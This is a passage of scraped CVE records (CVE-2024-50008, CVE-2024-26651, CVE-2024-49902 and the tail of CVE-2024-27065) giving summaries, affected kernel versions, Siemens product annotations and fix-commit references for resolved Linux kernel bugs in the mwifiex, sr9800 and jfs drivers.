        "dateUpdated": "2026-05-11T20:09:42.567Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/845083249d6a392f3a88804e1669bdb936ee129f"
        },
        {
          "url": "https://git.kernel.org/stable/c/2531f907d3e40a6173090f10670ae76d117ab27b"
        },
        {
          "url": "https://git.kernel.org/stable/c/fcf32a5bfcb8a57ac0ce717fcfa4d688c91f1005"
        },
        {
          "url": "https://git.kernel.org/stable/c/640dbf688ba955e83e03de84fbdda8e570b7cce4"
        },
        {
          "url": "https://git.kernel.org/stable/c/9683cb6c2c6c0f45537bf0b8868b5d38fcb63fc7"
        },
        {
          "url": "https://git.kernel.org/stable/c/4d37f12707ee965d338028732575f0b85f6d9e4f"
        },
        {
          "url": "https://git.kernel.org/stable/c/3443e57654f90c9a843ab6a6040c10709fd033aa"
        },
        {
          "url": "https://git.kernel.org/stable/c/df257c435e51651c43b86326d112ddadda76350e"
        },
        {
          "url": "https://git.kernel.org/stable/c/4a0e7f2decbf9bd72461226f1f5f7dcc4b08f139"
        }
      ],
      "title": "netfilter: nf_tables: do not compare internal table flags on updates",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-27065",
    "datePublished": "2024-05-01T13:04:09.106Z",
    "dateReserved": "2024-02-19T14:20:24.215Z",
    "dateUpdated": "2026-05-12T11:51:27.106Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50008 (GCVE-0-2024-50008)

Vulnerability from cvelistv5 – Published: 2024-10-21 18:54 – Updated: 2026-05-12 11:59

Title

wifi: mwifiex: Fix memcpy() field-spanning write warning in mwifiex_cmd_802_11_scan_ext()

Summary

In the Linux kernel, the following vulnerability has been resolved: wifi: mwifiex: Fix memcpy() field-spanning write warning in mwifiex_cmd_802_11_scan_ext() Replace one-element array with a flexible-array member in `struct host_cmd_ds_802_11_scan_ext`. With this, fix the following warning: elo 16 17:51:58 surfacebook kernel: ------------[ cut here ]------------ elo 16 17:51:58 surfacebook kernel: memcpy: detected field-spanning write (size 243) of single field "ext_scan->tlv_buffer" at drivers/net/wireless/marvell/mwifiex/scan.c:2239 (size 1) elo 16 17:51:58 surfacebook kernel: WARNING: CPU: 0 PID: 498 at drivers/net/wireless/marvell/mwifiex/scan.c:2239 mwifiex_cmd_802_11_scan_ext+0x83/0x90 [mwifiex]

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/b55c8848fdc81514e…
https://git.kernel.org/stable/c/f9310a6704bf52e24…
https://git.kernel.org/stable/c/1756918f51e9ab247…
https://git.kernel.org/stable/c/e59bdb1ba594104cd…
https://git.kernel.org/stable/c/17199b69a84798eff…
https://git.kernel.org/stable/c/fef7b51f22cf2049b…
https://git.kernel.org/stable/c/71267bd4e8c752d7a…
https://git.kernel.org/stable/c/a3a12c30f9510f375…
https://git.kernel.org/stable/c/498365e52bebcbc36…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 21f58d200388480547df909b5464b5aafebf299d , < b55c8848fdc81514ec047b2a0ec782ffe9ab5323 (git) Affected: 21f58d200388480547df909b5464b5aafebf299d , < f9310a6704bf52e2493480edea896e1f9b795d40 (git) Affected: 21f58d200388480547df909b5464b5aafebf299d , < 1756918f51e9ab247a0f4782cc28853c2bb457c1 (git) Affected: 21f58d200388480547df909b5464b5aafebf299d , < e59bdb1ba594104cd0ee0af3ee9e4435d842a8fe (git) Affected: 21f58d200388480547df909b5464b5aafebf299d , < 17199b69a84798efffc475040fbef44374ef1de1 (git) Affected: 21f58d200388480547df909b5464b5aafebf299d , < fef7b51f22cf2049b0ca6740adeb0ba6f2e671dc (git) Affected: 21f58d200388480547df909b5464b5aafebf299d , < 71267bd4e8c752d7af6c6b96bb83984a6a95273d (git) Affected: 21f58d200388480547df909b5464b5aafebf299d , < a3a12c30f9510f3753286fadbc6cdb7dad78c1d5 (git) Affected: 21f58d200388480547df909b5464b5aafebf299d , < 498365e52bebcbc36a93279fe7e9d6aec8479cee (git)
Linux	Linux	Affected: 3.15 Unaffected: 0 , < 3.15 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.55 , ≤ 6.6.* (semver) Unaffected: 6.10.14 , ≤ 6.10.* (semver) Unaffected: 6.11.3 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-50008",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-22T13:29:03.899555Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-22T13:38:40.091Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:24:24.839Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:59:45.423Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/marvell/mwifiex/fw.h",
            "drivers/net/wireless/marvell/mwifiex/scan.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "b55c8848fdc81514ec047b2a0ec782ffe9ab5323",
              "status": "affected",
              "version": "21f58d200388480547df909b5464b5aafebf299d",
              "versionType": "git"
            },
            {
              "lessThan": "f9310a6704bf52e2493480edea896e1f9b795d40",
              "status": "affected",
              "version": "21f58d200388480547df909b5464b5aafebf299d",
              "versionType": "git"
            },
            {
              "lessThan": "1756918f51e9ab247a0f4782cc28853c2bb457c1",
              "status": "affected",
              "version": "21f58d200388480547df909b5464b5aafebf299d",
              "versionType": "git"
            },
            {
              "lessThan": "e59bdb1ba594104cd0ee0af3ee9e4435d842a8fe",
              "status": "affected",
              "version": "21f58d200388480547df909b5464b5aafebf299d",
              "versionType": "git"
            },
            {
              "lessThan": "17199b69a84798efffc475040fbef44374ef1de1",
              "status": "affected",
              "version": "21f58d200388480547df909b5464b5aafebf299d",
              "versionType": "git"
            },
            {
              "lessThan": "fef7b51f22cf2049b0ca6740adeb0ba6f2e671dc",
              "status": "affected",
              "version": "21f58d200388480547df909b5464b5aafebf299d",
              "versionType": "git"
            },
            {
              "lessThan": "71267bd4e8c752d7af6c6b96bb83984a6a95273d",
              "status": "affected",
              "version": "21f58d200388480547df909b5464b5aafebf299d",
              "versionType": "git"
            },
            {
              "lessThan": "a3a12c30f9510f3753286fadbc6cdb7dad78c1d5",
              "status": "affected",
              "version": "21f58d200388480547df909b5464b5aafebf299d",
              "versionType": "git"
            },
            {
              "lessThan": "498365e52bebcbc36a93279fe7e9d6aec8479cee",
              "status": "affected",
              "version": "21f58d200388480547df909b5464b5aafebf299d",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/wireless/marvell/mwifiex/fw.h",
            "drivers/net/wireless/marvell/mwifiex/scan.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.15"
            },
            {
              "lessThan": "3.15",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.55",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.55",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.14",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.3",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "3.15",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mwifiex: Fix memcpy() field-spanning write warning in mwifiex_cmd_802_11_scan_ext()\n\nReplace one-element array with a flexible-array member in\n`struct host_cmd_ds_802_11_scan_ext`.\n\nWith this, fix the following warning:\n\nelo 16 17:51:58 surfacebook kernel: ------------[ cut here ]------------\nelo 16 17:51:58 surfacebook kernel: memcpy: detected field-spanning write (size 243) of single field \"ext_scan-\u003etlv_buffer\" at drivers/net/wireless/marvell/mwifiex/scan.c:2239 (size 1)\nelo 16 17:51:58 surfacebook kernel: WARNING: CPU: 0 PID: 498 at drivers/net/wireless/marvell/mwifiex/scan.c:2239 mwifiex_cmd_802_11_scan_ext+0x83/0x90 [mwifiex]"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:43:45.807Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/b55c8848fdc81514ec047b2a0ec782ffe9ab5323"
        },
        {
          "url": "https://git.kernel.org/stable/c/f9310a6704bf52e2493480edea896e1f9b795d40"
        },
        {
          "url": "https://git.kernel.org/stable/c/1756918f51e9ab247a0f4782cc28853c2bb457c1"
        },
        {
          "url": "https://git.kernel.org/stable/c/e59bdb1ba594104cd0ee0af3ee9e4435d842a8fe"
        },
        {
          "url": "https://git.kernel.org/stable/c/17199b69a84798efffc475040fbef44374ef1de1"
        },
        {
          "url": "https://git.kernel.org/stable/c/fef7b51f22cf2049b0ca6740adeb0ba6f2e671dc"
        },
        {
          "url": "https://git.kernel.org/stable/c/71267bd4e8c752d7af6c6b96bb83984a6a95273d"
        },
        {
          "url": "https://git.kernel.org/stable/c/a3a12c30f9510f3753286fadbc6cdb7dad78c1d5"
        },
        {
          "url": "https://git.kernel.org/stable/c/498365e52bebcbc36a93279fe7e9d6aec8479cee"
        }
      ],
      "title": "wifi: mwifiex: Fix memcpy() field-spanning write warning in mwifiex_cmd_802_11_scan_ext()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50008",
    "datePublished": "2024-10-21T18:54:01.348Z",
    "dateReserved": "2024-10-21T12:17:06.060Z",
    "dateUpdated": "2026-05-12T11:59:45.423Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26651 (GCVE-0-2024-26651)

Vulnerability from cvelistv5 – Published: 2024-03-27 13:50 – Updated: 2026-05-12 11:49

Title

sr9800: Add check for usbnet_get_endpoints

Summary

In the Linux kernel, the following vulnerability has been resolved: sr9800: Add check for usbnet_get_endpoints Add check for usbnet_get_endpoints() and return the error if it fails in order to transfer the error.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/424eba06ed405d557…
https://git.kernel.org/stable/c/8a8b6a24684bc2780…
https://git.kernel.org/stable/c/6b4a39acafaf0186e…
https://git.kernel.org/stable/c/276873ae26c8d75b0…
https://git.kernel.org/stable/c/9c402819620a842cb…
https://git.kernel.org/stable/c/e39a3a14eafcf17f0…
https://git.kernel.org/stable/c/efba65777f9845777…
https://git.kernel.org/stable/c/f546cc19f9b829752…
https://git.kernel.org/stable/c/07161b2416f740a2c…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 19a38d8e0aa33b4f4d11d3b4baa902ad169daa80 , < 424eba06ed405d557077339edb19ce0ebe39e7c7 (git) Affected: 19a38d8e0aa33b4f4d11d3b4baa902ad169daa80 , < 8a8b6a24684bc278036c3f159f7b3a31ad89546a (git) Affected: 19a38d8e0aa33b4f4d11d3b4baa902ad169daa80 , < 6b4a39acafaf0186ed8e97c16e0aa6fca0e52009 (git) Affected: 19a38d8e0aa33b4f4d11d3b4baa902ad169daa80 , < 276873ae26c8d75b00747c1dadb9561d6ef20581 (git) Affected: 19a38d8e0aa33b4f4d11d3b4baa902ad169daa80 , < 9c402819620a842cbfe39359a3ddfaac9adc8384 (git) Affected: 19a38d8e0aa33b4f4d11d3b4baa902ad169daa80 , < e39a3a14eafcf17f03c037290b78c8f483529028 (git) Affected: 19a38d8e0aa33b4f4d11d3b4baa902ad169daa80 , < efba65777f98457773c5b65e3135c6132d3b015f (git) Affected: 19a38d8e0aa33b4f4d11d3b4baa902ad169daa80 , < f546cc19f9b82975238d0ba413adc27714750774 (git) Affected: 19a38d8e0aa33b4f4d11d3b4baa902ad169daa80 , < 07161b2416f740a2cb87faa5566873f401440a61 (git)
Linux	Linux	Affected: 3.14 Unaffected: 0 , < 3.14 (semver) Unaffected: 4.19.311 , ≤ 4.19.* (semver) Unaffected: 5.4.273 , ≤ 5.4.* (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26651",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-21T16:07:09.943432Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-21T16:07:20.055Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T22:05:59.931Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/424eba06ed405d557077339edb19ce0ebe39e7c7"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8a8b6a24684bc278036c3f159f7b3a31ad89546a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6b4a39acafaf0186ed8e97c16e0aa6fca0e52009"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/276873ae26c8d75b00747c1dadb9561d6ef20581"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/9c402819620a842cbfe39359a3ddfaac9adc8384"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e39a3a14eafcf17f03c037290b78c8f483529028"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/efba65777f98457773c5b65e3135c6132d3b015f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f546cc19f9b82975238d0ba413adc27714750774"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/07161b2416f740a2cb87faa5566873f401440a61"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          },
          {
            "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/AXURWFKAKFEIUBN7RTCXI7GZYAHXNBX5/"
          },
          {
            "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SI2D7K2T6QCWALKLYEWZ22P4UXMEBCGB/"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:49:24.344Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/usb/sr9800.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "424eba06ed405d557077339edb19ce0ebe39e7c7",
              "status": "affected",
              "version": "19a38d8e0aa33b4f4d11d3b4baa902ad169daa80",
              "versionType": "git"
            },
            {
              "lessThan": "8a8b6a24684bc278036c3f159f7b3a31ad89546a",
              "status": "affected",
              "version": "19a38d8e0aa33b4f4d11d3b4baa902ad169daa80",
              "versionType": "git"
            },
            {
              "lessThan": "6b4a39acafaf0186ed8e97c16e0aa6fca0e52009",
              "status": "affected",
              "version": "19a38d8e0aa33b4f4d11d3b4baa902ad169daa80",
              "versionType": "git"
            },
            {
              "lessThan": "276873ae26c8d75b00747c1dadb9561d6ef20581",
              "status": "affected",
              "version": "19a38d8e0aa33b4f4d11d3b4baa902ad169daa80",
              "versionType": "git"
            },
            {
              "lessThan": "9c402819620a842cbfe39359a3ddfaac9adc8384",
              "status": "affected",
              "version": "19a38d8e0aa33b4f4d11d3b4baa902ad169daa80",
              "versionType": "git"
            },
            {
              "lessThan": "e39a3a14eafcf17f03c037290b78c8f483529028",
              "status": "affected",
              "version": "19a38d8e0aa33b4f4d11d3b4baa902ad169daa80",
              "versionType": "git"
            },
            {
              "lessThan": "efba65777f98457773c5b65e3135c6132d3b015f",
              "status": "affected",
              "version": "19a38d8e0aa33b4f4d11d3b4baa902ad169daa80",
              "versionType": "git"
            },
            {
              "lessThan": "f546cc19f9b82975238d0ba413adc27714750774",
              "status": "affected",
              "version": "19a38d8e0aa33b4f4d11d3b4baa902ad169daa80",
              "versionType": "git"
            },
            {
              "lessThan": "07161b2416f740a2cb87faa5566873f401440a61",
              "status": "affected",
              "version": "19a38d8e0aa33b4f4d11d3b4baa902ad169daa80",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/usb/sr9800.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.14"
            },
            {
              "lessThan": "3.14",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.311",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.273",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.311",
                  "versionStartIncluding": "3.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.273",
                  "versionStartIncluding": "3.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "3.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "3.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "3.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "3.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "3.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "3.14",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "3.14",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsr9800: Add check for usbnet_get_endpoints\n\nAdd check for usbnet_get_endpoints() and return the error if it fails\nin order to transfer the error."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:01:31.498Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/424eba06ed405d557077339edb19ce0ebe39e7c7"
        },
        {
          "url": "https://git.kernel.org/stable/c/8a8b6a24684bc278036c3f159f7b3a31ad89546a"
        },
        {
          "url": "https://git.kernel.org/stable/c/6b4a39acafaf0186ed8e97c16e0aa6fca0e52009"
        },
        {
          "url": "https://git.kernel.org/stable/c/276873ae26c8d75b00747c1dadb9561d6ef20581"
        },
        {
          "url": "https://git.kernel.org/stable/c/9c402819620a842cbfe39359a3ddfaac9adc8384"
        },
        {
          "url": "https://git.kernel.org/stable/c/e39a3a14eafcf17f03c037290b78c8f483529028"
        },
        {
          "url": "https://git.kernel.org/stable/c/efba65777f98457773c5b65e3135c6132d3b015f"
        },
        {
          "url": "https://git.kernel.org/stable/c/f546cc19f9b82975238d0ba413adc27714750774"
        },
        {
          "url": "https://git.kernel.org/stable/c/07161b2416f740a2cb87faa5566873f401440a61"
        }
      ],
      "title": "sr9800: Add check for usbnet_get_endpoints",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26651",
    "datePublished": "2024-03-27T13:50:50.833Z",
    "dateReserved": "2024-02-19T14:20:24.143Z",
    "dateUpdated": "2026-05-12T11:49:24.344Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-49902 (GCVE-0-2024-49902)

Vulnerability from cvelistv5 – Published: 2024-10-21 18:01 – Updated: 2026-05-12 11:58

Title

jfs: check if leafidx greater than num leaves per dmap tree

Summary

In the Linux kernel, the following vulnerability has been resolved: jfs: check if leafidx greater than num leaves per dmap tree syzbot report a out of bounds in dbSplit, it because dmt_leafidx greater than num leaves per dmap tree, add a checking for dmt_leafidx in dbFindLeaf. Shaggy: Modified sanity check to apply to control pages as well as leaf pages.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/d76b9a4c283c7535a…
https://git.kernel.org/stable/c/35b91f15f44ce3c01…
https://git.kernel.org/stable/c/2451e5917c56be45d…
https://git.kernel.org/stable/c/25d2a3ff02f22e215…
https://git.kernel.org/stable/c/058aa89b3318be3d6…
